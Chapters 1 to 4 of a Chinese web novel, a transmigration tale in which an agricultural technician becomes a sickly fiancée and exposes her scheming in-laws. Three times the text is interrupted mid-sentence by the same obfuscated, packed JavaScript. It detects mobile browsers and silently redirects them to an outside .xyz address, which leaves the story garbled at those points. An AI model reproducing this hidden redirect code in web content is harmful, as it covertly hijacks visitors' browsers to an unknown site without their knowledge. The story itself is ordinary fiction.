《荷月带锄归》 1. 第 1 章 暮春时节，江南水乡真州城内。 白墙绿瓦高筑，渺渺春水泛波。远处，青山衔月，星子落尽，薄薄雾霭笼罩千门万户。五更报晓的梆子刚打过，鱼儿巷多家商户开板点灯沽卖。 汤饼铺老板烧好热汤，将煮熟的梅花形状的面皮子倒入提前准备好的鸡汤汁子中；香药铺掌柜将各色香膏存放于精致玉瓶内，并吩咐小厮儿仔细清扫地面上昨日留下的香灰…… 巷子口一处，布幌子上写着——宋娘子茶肆。 只见正对店铺门口的条桌上摆着栗子、糖霜、各类糕点，都用陶盘子细细分装好。店里角落的炭炉子上摆着个大铜壶，水面翻腾，“噗噗”作响，茶壶口喷出股股白烟。 宋娘子身着绛红直领褙子，下系褐色细麻叠裙，弯弯细眉斜插入鬓，精致发髻高挽，环髻间簪了朵粉桃花，腰间系条青花布手巾，腰肢娉婷，踱到街面招呼客人： “新茶煮好喽！喝一碗，浑身热乎，一文钱管够喽……” 雨后的青石板路上，忽地传来“嗒嗒”声响，那马蹄声由远及近，震得人耳膜发颤。 宋娘子被那震天马蹄声惊得心头一跳，手里的青花布手巾掉在地上也顾不得捡，跺脚骂道：“哪里来的莽儿？这般急吼吼闯来，是要踏平这条街吗！难不成这满街的地，都成了你家的跑马场不成？” 霎时，奔腾的战马被缰绳勒住，脖子紧绷出一条弧线，前蹄重重垂落在地面。一个身穿粗布袍、铁环甲，腰佩环首刀的兵士顺势翻身下马。 他在一户门首停下，手掌重重拍打版门，再拍几下，仍是无人应，往后退了几步。 偏巧这时，宋娘子刚要转身回茶肆，那鲁莽汉儿已经大步冲了过来，叫住了她。 兵士抱拳：“敢问这位娘子，此处可是沈孔目、沈君卓官人府上？” 宋娘子见着眼前的兵爷虽长得凶神恶煞，倒也颇懂得礼数，于是笑盈盈回道：“敢问这沈家官人犯了甚事？或是沈家小郎君……莫不是战死在沙场了？” 兵士忙摆手否认，“与沈小郎君无干！我此来是要见沈孔目，只求娘子指个路，官人此刻在何处？” 宋娘子上下打量他一番，见他急得额头冒汗，不似作伪，便直言道：“沈家官人前些时已搬走了，我那在衙门当差的堂兄说，他因渎职被知府大人革了职，一家老小都跟着遭了发配。” 兵士忙追问：“还请娘子指点，可知沈孔目被发往何处，也好让我寻去。” 宋娘子摇手，眉间微蹙，“这我可不知了，只是这般境遇，往后的日子怕是难熬得紧。” 兵士谢过，翻身上马。马蹄一扬，踏在街面的积水上，激起层层涟漪。 — 真州地处长江北岸，水路四通八达。境内永淮河自南向北，下游受河泥滋养，土壤肥沃，沿岸新阳县田畴丰饶，百姓安居乐业。 河流缓缓流淌，一颗石子被抛进水里，“咚”地弹了两下，旋即坠入河底。 岸边两个顽童，都不过七八岁。女娃梳着双丫髻，素色丝带在发间晃着；男娃头两侧各挽个总角，绑着红绳，瞧着可爱。 俩人你一颗我一颗往河中扔石子，闹了半晌，忽地开始往不远处的房子跑。 女娃声音脆生生的，黄莺儿似地叫：“娘！晔哥儿扔石子耍赖皮。” 小晔哥儿颠颠儿跟在后头，憋红了脸，嘴笨得说不利索，只反复嚷：“娘，姐姐坏！她才坏……” 俩人一头扎进院里，三间土坯房被篱笆圈得严实，院坝边立着石舂、石磨，台阶上摆着陶盆瓦罐，墙角堆着些农具，还有几束发了霉的草药干。 院角一条黄狗听见动静，“噌”地蹿过来，围着晔哥儿撒欢，转了几圈，摇着尾巴往他脸上舔。晔哥儿被逗得咯咯直笑，气性儿早散了。 堂上，费女萝挨着秦莫如坐下，欠了欠身道：“嫂嫂还请节哀。大哥虽去了，但盈姐儿、晔哥儿还小，还有同之那未过门的媳妇，这一大家子，可都指着您撑着呢。” 正堂上首的交椅里，坐着的正是秦莫如。她一身素白孝服，腰间束着条黑带，头上没插半件钗环，素净得很，只是眉头紧锁，神色瞧着格外黯然。 费女萝眼瞅着院里嬉闹的两个孩子，叹了口气又道：“大哥先前在官场不顺，被遣回原籍，如今人没了也罢了，可……连咱们沈家在真州府里置下的那点家私，也被官府抄没了去。哎呦哟，这往后的日子可怎么过……” 说着，费女萝掏出帕子，捂着眼假哭起来。 秦莫如听她絮叨，愁容更重，声音恹恹的：“他连尸骨都被一把火烧得没了影，魂儿飘在哪都不知道，那些个死物还提他做什么？若不是看着哥儿姐儿尚幼，我早随他去了。” 她紧紧攥着手中的帕子，想是又想起沈君卓，心口一阵发紧，疼得厉害。 从前她但凡有个头疼脑热，沈君卓总会守在旁侧，絮絮叮嘱着喝药添衣。那时他在府衙当差，每日按时上衙放衙，她在家中做些针黹贴补家用，日子虽清淡，却也和和美美。如今……她闭上了眼，将涌上来的泪又憋了回去。 费女萝瞧着秦莫如闷坐着，一脸苦楚，便朝堂下的沈君昌递了个眼色。 沈君昌是她当家的，三十出头年纪，穿件半旧湖蓝直领澜杉，袖口松跨，腰间黑带系得歪歪扭扭。他眼尾微微吊起，眼珠骨碌转，方才在椅上一声不吭，此刻却清了清嗓子，像是要说些什么。 他起身作了个揖，慢悠悠开了口：“好嫂子，我大哥福薄，如今已是天上逍遥仙了，您别太熬煎自个儿。活人日子总比死人事要紧，家里头还得您多照看……” 秦莫如抓起帕子捂了脸，这回是真泪湿了绢帕，再抬不得头。 沈君昌又接着说道：“哥儿姐儿还小，得好生教管；同之虽让人放心，可去了沙场便没了音讯，怕是……您若不振作，酒泉下的大哥也难安心，我和女萝也寝食难安，到时候孩子们可真成了没爹娘的了。” 秦莫如听着，眼泪越发止不住，扑簌簌往下掉。费女萝忙递过自己的帕子，一旁温言劝着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083527|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>过了会儿，秦莫如心绪稍平，沈君昌方坐回原位，端杯呷了口茶，说道：“三年前自分府别院，亲戚间便少了走动，是我疏懒了。可一家人始终是一家人，如今落难，正该抱团取暖，哪还计较往日那些个。嫂子若有难处，尽管交代我与女萝，我夫妻二人定当尽心。” 盈姐儿和烨哥儿在院子里玩了会儿，回正堂看秦莫如哭得伤心，便一左一右伏在她膝头，跟着哭起来。 费女罗忙朝沈君昌使个眼色，让他先别往下说。她拉过盈姐儿到跟前，从桌上食盒里取出一块芙蓉饼，盈姐儿见了，伸出手去拿。费女萝笑着拍了拍她的手，让她领着晔哥儿回东屋分着吃去。 秦莫如看着天真的孩子，心里越发不是滋味。这俩孩子小小年纪没了爹，自己这阵子人也消沉下去，往后这孤儿寡母的日子可怎么熬？ 沈君昌瞧着费女萝的眼色，接话道：“嫂子看孩子们多可怜，更该为他们打算。大哥没了，您拉扯哥儿姐儿本就不易，若再添个外姓人分神，日子可不就更难了。” 秦莫如泪眼婆娑，朝西屋瞟了一眼，见没什么动静，才开口道：“我知你说的是同之那未过门的娘子。可程姐儿偏生痴得很，非要等着同之，我……实在不好多说什么呀。” 费女萝忙拉起她的手，好生劝着：“程姐儿痴心是真，可大哥在世时，你们尚且能过活，如今多添一张嘴，多一份用度，天长日久的，你如何撑得住？” 秦莫如望着西屋方向，想起下落不明的大儿子同之，还有那苦等的程雪衣，心里压着千斤重，愈加犯难了。 程雪衣原是柳州商贾程颖松的长女。前年三月三，合家来真州探亲，她不慎跌入河中，幸得沈偕孤身搭救。回去后，程雪衣一夜辗转未眠，次日便求爹娘托了媒婆上门议亲。 沈君卓夫妇琢磨儿子已到娶妻年纪，程雪衣是富户之女，虽身子骨弱些，程家却早说定了：姑娘日常汤药费都由程家承担，只盼她在婆家舒心，沈偕能待她有礼便好。 两家过了大定，只差沈家抬轿迎娶过门，不料赶上募兵，沈偕被征去了沙场，一去便没了音讯。 程雪衣和沈偕虽未拜堂，却有婚约在身。这一年多来，她尽心侍奉沈家二老，对盈姐儿、晔哥儿也照顾有加。 费女萝见秦莫如迟疑不定，又撺掇道：“嫂嫂你我都是女人家，怎不知女儿家终身大事最是要紧？程娘子与同之既未圆房，不如解了这婚约，让她恢复自由身，也好另寻个好人家。” 沈君昌在旁连连点头，附和道：“嫂子若想通了，早些办才好。跟程家递个话，就说沈家对不住程娘子，可沙场事非人力能改，只当是有缘无分吧。” 秦莫如听着，心里渐渐松动，点头道：“我晚些跟程姐儿细说，让她娘家来接她回去，也省得她放着富家小姐不做，陪我们娘仨受穷。” “不如我替嫂嫂跑趟柳州，把此事跟程家夫妇细说，他们为女儿着想，定是肯的。”沈君昌忙接话。 秦莫如头疼得紧，只摆摆手，让他们先去了。 2. 第 2 章 霞光笼罩山林，几家农户的烟囱里飘出缕缕青烟。渔夫摇橹归岸，樵夫挑柴归家，就连院外疯跑的黄狗也颠颠儿往家赶。 程雪衣昏昏沉沉睡了一整天，直到听见窗前的狗吠声才勉强睁开眼。 这屋子是黄泥夯的墙，墙皮开裂往下掉渣。屋子中间摆着一张旧木桌，茶碗各个有豁口，墙角还堆着些干柴，空气中飘着持久不去的霉味。 她约莫十六七岁年纪，眉黛纤巧，眼含秋水，翘鼻樱唇，只是现下脸色透着久病的蜡黄，嘴唇发白，轻轻咳了几声。 彻底清醒的瞬间，程雪衣揉了揉酸软的脖颈，又将这几日的遭遇变故细细想了遍——她本是二十一世纪农业基地的技术员，在试验田记录数据时累得眼前一黑，再睁眼，竟穿进了一本看过的古言小说里，成了这具身体的原主“程雪衣”。 她记得，书中的程雪衣是个实打实的恋爱脑：为等未婚夫沈偕，不顾爹娘劝阻，未成婚便住进沈家；后来沈父惨死、沈母殉节，她独自拉扯幼弟幼妹苦等，可沈偕从沙场回来，竟翻脸不认婚约，娶了公主，还当众羞辱她不知矜持、一厢情愿、不配为天下女子效仿。 想到这样的结局，程雪衣打了个寒噤，浑身酸软得提不起劲儿。她望着梁上结的蛛网，暗下决心，决不能重蹈覆辙。什么等沈偕、守婚约？不如借着这身“小病”躺平到底，先称病赖着，再想法子回娘家去，好歹是商贾之家，总比在破落沈家熬日子强。 主意既定，她反而松了口气，眼皮又开始发沉。罢了，先睡足了再说，横竖这身子骨本就弱，装病也装得像些。她翻个身，将脸埋进被褥里，昏昏沉沉又睡了过去。 晚饭时，秦莫如见西屋没声响，怕扰了程雪衣静养，便让盈姐儿去叫门。 盈姐儿拍了拍门，里头没应，便推门进去。 她蹑手蹑脚掀了纱帐，悄悄扯了扯被角，又把肉乎乎的小手往程雪衣脚上一搁，轻轻搔着痒。程雪衣忍耐不住，掀起被子，同盈姐儿开始胡闹起来。等到俩人玩儿累了，才重新拾掇好发饰衣裳，出去用饭。 见程雪衣和盈姐儿有说有笑地进来，秦莫如嘴角漾起笑意，忙招手：“快些来，饭刚做好。” 桌子上摆着几碗糙米饭，一叠芥菜齑，一盘炒鸡蛋，还有一尾清蒸鲤鱼。 秦莫如拉着程雪衣坐到自己身边，让盈姐儿、晔哥儿挨着另一边坐了。 程雪衣望着桌上的鱼和蛋，眼里闪过诧异，挨着秦莫如撒娇道：“娘，今儿是什么好日子啊？” 秦莫如被她这句“娘”叫得心酸，强笑着往她碗里夹了筷鱼肉：“这些日子你跟着受奔波，身子不得养，瞧着脸色也差，给你补补身子。快吃些，凉了腥气。” 程雪衣心里清楚，沈家如今这境况，平日断不会有鱼有蛋，定是有事要说。她默默挑净鱼刺，把鱼肉分给盈姐儿和晔哥儿，又给秦莫如碗里拨了些，才慢声道：“娘也多吃些。” 秦莫如攥着筷子的手紧了紧，终是开口：“程姐儿，你先放下筷子，听我说句掏心窝子的话。” 程雪衣依言放下筷，抬眸望着她。 “快别再叫我‘娘’了，我实在受不起。”秦莫如声音发颤，“你是好闺女，不该困在这乡下，跟着我们娘仨熬苦日子。同之……怕是真回不来了。你年轻，样貌周正，家里又殷实，何苦傻傻等着？该寻个好人家，过安稳日子去。” 程雪衣低头不语，指尖搓磨着衣角。她早有回娘家的打算，可听秦莫如这般说，心里仍泛着涩：“娘的心意，我懂。自古女儿家，寻个好归宿最是要紧。可若不是当年幸得同之搭救，我也遇不上娘，您待我的好，我记一辈子。” 秦莫如眼里热起来，只听她又道：“若我真给娘添了累赘，便听娘的，回柳州去。只是往后，我仍是您的闺女，是盈姐儿、晔哥儿的程姐姐，断不会生分。” 这话正说到秦莫如心坎里。她打心眼儿里疼程雪衣——懂礼识字，伺候公婆尽心，教弟妹耐心，虽是富家小姐，半分娇气都没有，待人谦和，谁见了都说是沈家高攀。如今见她这般明事理，秦莫如再也忍不住，攥着她的手哽咽：“好孩子……真是个好孩子……” — 翌日，秦莫如几人刚用过早饭，院门外便传来脚步声，沈君昌和费女萝一前一后进了院。 三人围坐在灶房的矮桌，细细商议送程雪衣回柳州的事。 “嫂嫂放心，”沈君昌先开了口，“我和女萝亲自护送程娘子回去，路上她俩女人家也有个伴。” 秦莫如放下手中的茶杯，仍有些犹豫：“要不……先给程家递个信？程姐儿这几日身子还虚，等她好些再动身，稳妥些。” 费女萝一听便接话，语气带了几分急：“正因为她身子虚，才该回柳州好生调养。程家有的是名贵药材，哪里是我们这乡下地方比得了的？耽搁久了，反倒不是疼她。” “是啊，”沈君昌跟着帮腔，“真为程娘子着想，就该尽早送回去。嫂子也别太挂心，又不是从此不见面了，她怎会忘了您的情分？” 秦莫如沉默片刻，终是点了头。转身进西屋帮程雪衣收拾行囊，灶房里的两人也起身告辞，回去备自家的行装了。 — 晌午的饯别饭罢，秦莫如便带着盈姐儿、晔哥儿往渡口去。几人与程雪衣一一告别，洒了些泪，直到船影淡成水面上的一点墨，秦莫如才牵着孩子们转身。 程雪衣三人先到真州，在脚店歇了一宿。次日买了些干粮，便登上了南下的客船。 船上这几日，费女萝对程雪衣格外殷勤，端水递帕、掌灯添衣，样样周到，丝毫不敢怠慢。 三人彼此客气相处，各怀玲珑心思。 客舱外的甲板上，船夫正拢着袖子打盹，船桨划过水流吱呀作响。 这客船分上下两层，底层堆着各样货物，其中混着几笼鸡鸭，屎臭味和潮湿气混在一起顺着板缝往上飘；二楼是客舱，用薄木板隔出小间，供客人休息。舱壁上糊着的旧纸已发黄，漏出小洞被江风灌得簌簌响。 程雪衣被那风声扰得头疼，索性披了件墨色氅衣，挑了盏油灯，轻轻推开舱门到船边透气。 夜色浓稠，峡谷吹过的风蚀得人骨头发凉。程雪衣呵了呵冻得发僵的手，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083528|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氅衣裹得更紧些，见栏杆边倚着个老媪正抹泪，便轻步走过去，将手中帕子递过去：“老人家，擦擦吧。” 老媪花白的头发被风吹得乱蓬蓬，脸上沟壑纵横，接过帕子的手颤巍巍的，连声道：“使不得，小娘子的帕子这样好，弄脏了可怎么好？” “不防事的。”程雪衣温声道。 老媪见程雪衣眉眼温和，又这般体恤，先前的拘谨消了大半，颤巍巍伸出双手，接过了那方帕子。她用帕子沾了沾眼角，叹道：“说出来也不怕小娘子笑话。我是利州来的，去真州看小儿子，谁知他竟嫌我碍眼，硬塞了二两碎银子，就让我回乡下……” 程雪衣听了此话，心头一怔，忍不住追问：“那小郎君怎会如此？这怀中的娃娃又是？” “这是我大孙子，叫凤姐儿。”老媪摸了摸怀里熟睡的女娃娃，声音越发哽咽，“她爹娘都没了，大郎战死在沙场，儿媳妇寻他不着，半路上遭了歹人强迫，也……跟着去了，就留下这苦命孩子跟着我。我原想着小儿子能靠得住，谁知是条养不熟的狼崽子。” 程雪衣听得心头发紧，鼻尖发酸——同是孤儿寡母，秦莫如带着盈姐儿、晔哥儿，往后可怎么办？ 她望着黑沉沉的江面，只盼沈君昌夫妇别真如书中写的那般，藏着狼子野心，觊觎秦家这点薄产，能让秦莫如母子安稳度日才好。 — 月光稀疏，江面渐起薄雾，凉风从四面八方涌来，刮得人后颈发凉。程雪衣瑟缩着肩膀，正往自己舱房走，忽然听见转角处传来争执声。 “我早和你说过这趟路不好走，你偏要跟来。”沈君昌的声音带着不耐烦，“如今倒嫌起苦来了？” “我不跟来盯着，你要是拿了程家的谢礼，转头就去赌去嫖，咱们日子还过不过？不如趁早散伙！”费女萝忽地拔高嗓音。 沉寂片刻，沈君昌嗤笑道：“你当此去柳州是去领赏？也不动脑筋想想。” 费女萝把声音压低了些：“难道不是吗？我们把程娘子安然无恙地送回，那程家夫妇自是得好生酬谢。” 沈君昌嘴角撇了撇，心中暗骂：真是个蠢物，这点关节都想不透。 他招招手，让费女萝贴得更近些，开口道：“程家夫妇若是怜爱程娘子，不计前嫌接纳她回府便好。可若是程家不认，把她赶出来，咱们再费力带回去，不是白跑一趟？” 费女萝啐了一口：“赶出来又如何？还能让咱们养着？自然是送回秦莫如那里去。至于来回盘费，找秦莫如要便是，难不成让咱们掏？咱们呀，只管游山玩水，吃好喝好。” “你个妇人见识短浅。”沈君昌的声音沉了沉，“盘费是小事。我怕的是，她若真跟咱们回了新阳县，大哥留下的那间铺子，咱们还怎么到手？” 费女萝这才反应过来，慌忙捂住嘴，连连点头。 转角后的程雪衣，万没料到这对夫妇竟真如书中所写一般，是见利忘义的奸货色。方才那些算计，如同腊月寒冰浇在身上，冻得她指尖发僵。 她望着黑黢黢的舱壁，方才还带着几分暖意的眸子也一点点冷了下去。 3. 第 3 章 天际露出一抹绯色，几只水鸟掠过水面，先于客船抵达柳州渡口。不久后，那艘来自真州的客船“吱呀”一声抵了岸。船夫们抛锚搭板，手忙脚乱。 板刚放稳，舱门里便涌出人潮，大家加快脚步，争先恐后顾好行装下了船。渡口边，卖早点的摊子已经支起大锅，面香、焦香混着水汽漫开来，勾得人肚里咕咕直响。 不远处的石桥上，小贩们的叫卖声此起彼伏。桥下水面上，画舫排放地密密匝匝，渔夫摇着橹从舫间穿过，嘴里哼着岭南调子，尾音拖得很长。塘边石阶上，几个妇人正轮着棒槌捶打衣裳，水面轻轻晃了晃。 程雪衣随着人潮挤下跳板，刚踏上柳州渡口的青石板，便被一股酸辣香勾了魂，困意全无。她拎起素色裙摆，踩着被露水打湿的石板往前赶，身后沈君昌夫妇的叫喊声淹没在喧闹中。 摊子上摆着各式钗环，程雪衣逛到这里便再挪不动步。她拿起一支水绿釉的簪子比在鬓边，回头问摊主：“大姐，这个怎么卖？” 身后传来熟悉的声音，“程娘子，你慢着些……”沈君昌夫妇背着包袱赶上来，费女萝挥动手中的帕子，喘着粗气，“你这小娘子，走得倒快。” 程雪衣没理睬，又问了遍：“这支簪子多少银钱？” 摊主是个身材圆润的妇人，笑起来眼睛眯成一条缝：“娘子好眼力，这是新出的釉色，要一两银子。”说着又挑出几支递过来，“瞧瞧这个，这步摇也是极趁娘子肤色的。” 程雪衣挑好簪子，转身看向沈君昌，语气平平：“劳烦二位付了吧。” 攥着那支水绿簪子，程雪衣转身去往街角的笔墨铺。 刚掀开门上的珠帘，一股油烟墨混着桐油的气味便漫了过来。屋内几个头戴幅巾的文人雅士正围着案几，指着一卷书低声议论，见有客来，其中一人抬眼略扫了扫，又低头继续说话。 程雪衣目光扫过满架典籍，铺子惹眼处挂着几幅临摹的大家画作，柜台边的青瓷炉里，檀香袅袅。 “小娘子里面请。”穿青布衫的掌柜从柜台后转出，拱手笑道，“本店新到宣城的紫毫笔，还有端州来的歙砚，都是上等货色。” 程雪衣依着掌柜的示意在案前坐了，接过伙计递来的热茶抿了口，才缓声道：“烦请老板将笔砚取来瞧瞧。” 掌柜转身回柜台，弯腰从柜下捧出几个锦盒，让小厮送到案上。 匣子里的紫毫笔锋颖透亮，端砚石质温润，程雪衣指尖拂过砚台的花卉纹饰，点头道：“这些都包起来吧。” “小娘子好眼力！”掌柜的眼角带笑，“这几样都是压箱底的货色，寻常人我可不轻易拿出来。” 说着，沈君昌夫妇掀帘进来，费女萝一手扶着门框喘气，沈君昌则用袖子抹着额头上的汗：“程娘子这脚程，可把我们寻得好苦。” 程雪衣正核对着买好的包裹，闻言抬眼，语气平缓：“劳烦二位付账吧。” 沈君昌脸一沉：“你买这些与我何干？凭什么要我付钱？莫不是真当我好拿捏？” “我离家一年多，见爹娘总得备些礼。”程雪衣慢条斯理将包裹推到一边，“沈家与程家因婚事相识，此次说是送我回柳州，这点心意原也是该有的，总不能空着手上门，失了体面吧？” 隔了一阵，沈君昌咬着牙掏出钱袋，倒出一堆碎银。掌柜的算盘打得噼啪响，数完眉头一皱：“这位官人，还差五钱银子。” 程雪衣轻咳一声：“我身上的铜钱早给了秦娘子。不如您先垫着，见了我爹娘，自然加倍还您。” 费女萝忙从柜台扯了张红纸：“那得立个字据才好！” “立什么字据！”沈君昌一把夺过红纸，踩上几脚，扯过费女萝往一旁走，冷不丁拔下她头上那支翠绿簪子，沉下声音，“去刚才那首饰铺子，把这个退了。” 费女萝紧紧攥着还没戴热乎的簪子，嘴噘得能挂油瓶，哪里肯退，可瞧着沈君昌两眼瞪得溜圆，终究还是跺了跺脚，掀起珠帘往首饰铺去。 — 月上柳梢，程雪衣跟着人流找了家店住下，只等修整好，明日再去程府。 因怕明日与程家夫妇见面时漏了错处，程雪衣夜里惶惶难安，晚饭时吃得又少，索性披了外衣偷溜出去找东西吃。 街上黑漆漆的，几只流浪猫蹿来蹿去，发出尖利的叫声。街角几家铺子亮着灯，一处赌坊的房檐下挂着圆形彩灯，灯上写着“入局有彩”，里头人声震天，进的人满面春风，出的人垂头丧气。 程雪衣朝那边撇了眼打算绕开，走了几步，听见巷口传来痛哭求饶声。 昏暗灯光下，沈君昌正跪着，双手抱拳，苦苦哀求：“各位好汉高抬贵手，这已是我的全部家当，再没半分多余的了。” 两个醉汉拳头攥得咯咯响，其中一个作势要朝沈君昌脸上打下去：“少废话！”沈君昌忙扑过去抱住他的腿，声音颤抖：“官人手下留情，还请官人容我几日，我定能筹到钱。” “凭什么信你？”另一个醉汉狠狠踩了踩他的手，“要不留下你的一根手指，等你什么时候筹到钱再赎回去？” “万万使不得啊！”沈君昌忙朝地上磕了几个响头，接着说：“我是来探亲的，程颖松程大官人你可认得？我们是亲家，等见了面，这点钱他定能帮我垫上！” 醉汉们对视一眼，半信半疑道：“此话当真？” “当真！当真！”沈君昌连连点头。 “那便给你三日时间。不，两日！”那醉汉接着说，“两日后亥时三刻，还在这里，你若还是空着手来，到时便不会像今日这样好相与了。”他捏了捏拳头，骨头咔咔作响。 沈君昌连连磕头，“多谢官人！多谢官人！” “怀里揣的什么？”一个醉汉揪住他的衣领，将他掼在地上，伸手掏出一根木簪子，看着不值几个钱。 “没钱还债，倒有闲钱找婆娘，哈哈哈……”两人言语满是嘲讽。 沈君昌趴在地上，手中死死抓着醉汉的裤脚，哀求着：“还请官人行行好，将那簪子还给在下，那是……那是给我家娘子的，求官人还我吧……” 他鼻尖抽得厉害，鼻涕流到下巴上。醉汉们瞧他这副窝囊样，随手将簪子扔到几米开外，骂骂咧咧地走了。 巷陌阒寂，只听沈君昌的呜咽声断断续续。他在地上趴了许久，起身离去时，地上摊着一小片湿痕。 躲在暗处的程雪衣死死盯着远去的背影，指尖嵌在掌心，心中不由担心起来。 — 翌日，三人用过早饭，背着包袱寻到程府所在的街巷。 程雪衣在远处看着，只见那朱漆大门配着狮面铺首，门楣上高悬“程府”大字匾额，石阶两旁的橘树载在青釉大缸里，枝上挂着不少青黄相间的果子。 她不由感叹道：“这就是古代大户人家的规格啊！” 沈君昌夫妇张大嘴，看迷了眼。费女萝忍不住拽了拽丈夫的衣袖：“这程家，可真阔气啊。” 程雪衣示意沈君昌先去探问，不必冒失。他轻点头，整理好衣襟，独自上前扣门。铜环敲在门板上，发出闷响，过了会儿，门被推开半扇。 探出头的老翁身穿青灰长衫，腰间系着素色带子，眯着眼上下打量沈君昌，慢悠悠问：“客官找谁？” “敢问老丈，此处可是程颖松官人的府上，府中是否有位唤作程雪衣的小娘子？”沈君昌拱手作答。 老翁点头：“是程府没错，只是官人口中的程小娘子近日不在府中。老奴是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083529|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中管家，客官寻到此处所为何事？” 沈君昌心中一块大石落地，忙转身回禀，话音刚落，程雪衣已款步上前。那管家抬眼一瞧，先是一愣，随即眼眶一红，落泪道：“原是程姐儿！怎地不提前捎个信，竟自个儿寻回来了？” 程雪衣快步上前扶住他，温声道：“您快别哭了，我也是临时起意。” 老管家用袖子抹了泪，拱手行礼：“主君和夫人若知道姐儿回来，定要欢喜坏了。快进，快进来。” 几人前后脚进了府门，跟着老者穿过门庭。只见穿堂的廊柱上雕着缠枝牡丹纹，廊下摆着四季盆景，墙角的山茶开得正艳。忙着洒扫的丫鬟婆子见了程雪衣，皆敛衽行礼，口中唤着：“姐儿。” 不远处，快步跑来个丫鬟，那丫鬟梳着单螺髻，头戴素钗，笑容晏晏，腰间挎个精致针线包，“姐儿，真的是姐儿回来了。”她说着，便要往程雪衣的怀里扑。 众人停下脚步，目光紧紧跟随。程雪衣先是一愣，然后拍拍她的背，生涩道：“是我，是我。” 过了片刻，老管家忙把丫鬟拉到一边，“你这丫头，不得坏了规矩，快站好。”然后，笑呵呵对程雪衣说，“多橘这丫头，许久未见姐儿丢了分寸，姐儿莫要怪罪。” 程雪衣瞧着她嘴巴噘得老高，俏皮可爱的俊模样，眼中流露几分喜爱，反问道：“多橘，多日不见，可曾记挂我？” 多橘拘礼在原处站定，此刻才敢往前上了几步，忙说道：“记挂着呢，姐儿的琴我日日都擦，喜爱的兰草我也每日精心照顾着，不敢偷懒。” “还是多橘想着我，多谢多谢。”程雪衣拉过她的小手轻轻拍了拍。 穿过长廊进了正堂，几人刚一落座，丫鬟们鱼贯而入，端了各色精致茶点，摆了满满一桌子。 费女萝手中的栗子糕吃到一半时，连打了几个响亮的饱嗝，她手中还捏着半块糕，脸刷地红了，讪讪笑道：“这糕点真实在，倒是让大家见笑了。” 沈君昌在一旁强颜欢笑，从袖中摸出帕子递了去，说道：“吃慢些，没人和你抢。” 静了片刻，程雪衣轻声问道：“爹娘若是还在生我的气，便传句话来，我……”她不时瞟向门口，指尖摩挲着杯沿。 “哎呦！瞧老奴这记性！”老管家拍拍脑门道：“姐儿多虑了，你离家一年有余，夫人嘴上不说，日里夜里常对着您的旧物出神；主君虽恼您当初不告而别，却也一直记挂着您，马车套好了不知多少回，还是夫人拦着说‘让姐儿想通了自己回来’。” 程雪衣指尖一顿，抬眼问道：“那爹娘为何……” “已随小郎君去了东京府啦。”老管家躬身道，“天大的好事啊，颙哥儿今年入了春闱，少夫人怀着身孕，不好照顾哥儿，主君夫人不放心，带着府中的丫鬟仆从一同跟了去，说是考场内外有个照应。” “这可真是天大的喜事。”程雪衣眉眼放松了些，嘴角含着笑。 老管家又说，“颙哥儿寒窗苦读十余载，前几次总是差了口气，主君和夫人虽然不说，可只能干着急，现下又有了盼头……姐儿还不知道，颙哥这次进了省试，主君高兴的什么似的，在祠堂摆了三日流水席，府门前敲锣打鼓的，半条街都听得见。” 程雪衣望着他眉飞色舞的模样，也跟着弯了弯唇。 下首的沈君昌却坐不住了，欠身问道：“管家可知主君何时回府，我有桩要事要与主君当面请教。” 老管家摸了摸胡子，叹了口气道：“怕是回不来咯，主君临走时跟老奴说，这回颙哥儿若再落榜，他便一头撞在放榜的红墙上，也不用我们前去收尸了。” 沈君昌心中一沉，手中的茶盏微微晃动—— 回不来了？这可如何是好？ 4. 第 4 章 晌午饭罢，多橘引程雪衣回了闺房，沈昌君夫妇被安排到侧院厢房休息。 程雪衣侧身倚靠引枕，神色倦怠，肚子有些发胀，空气中飘来阵阵清甜的香薰味道。 “姐儿，去床上歇着吧，这样睡得不舒服。” 多橘伏在塌边，小声对程雪衣说。 “嗯……确实有点困……”程雪衣迷糊道，“对了，沈君昌夫妇如何安置了？” “刘管家安排他们在侧院歇下了，姐儿放心吧，不会怠慢他们的。” 多橘见程雪衣直起身子，忙伸手去扶，“姐儿，怎么了？” “……” “无事，你让刘管家多注意他们二人动向，家里的古董字画，瓷瓶玉器这些值钱的东西通通收好，若是沈君昌行迹可疑，立刻让他报我。” 程雪衣敛眉说道，将裙摆拢了拢，换了个舒服的姿势。 多橘不解问道：“姐儿，为何如此提防亲家叔叔啊？” 程雪衣揉揉眉心，仰脸问道：“多橘，你觉得那二人看起来如何？” 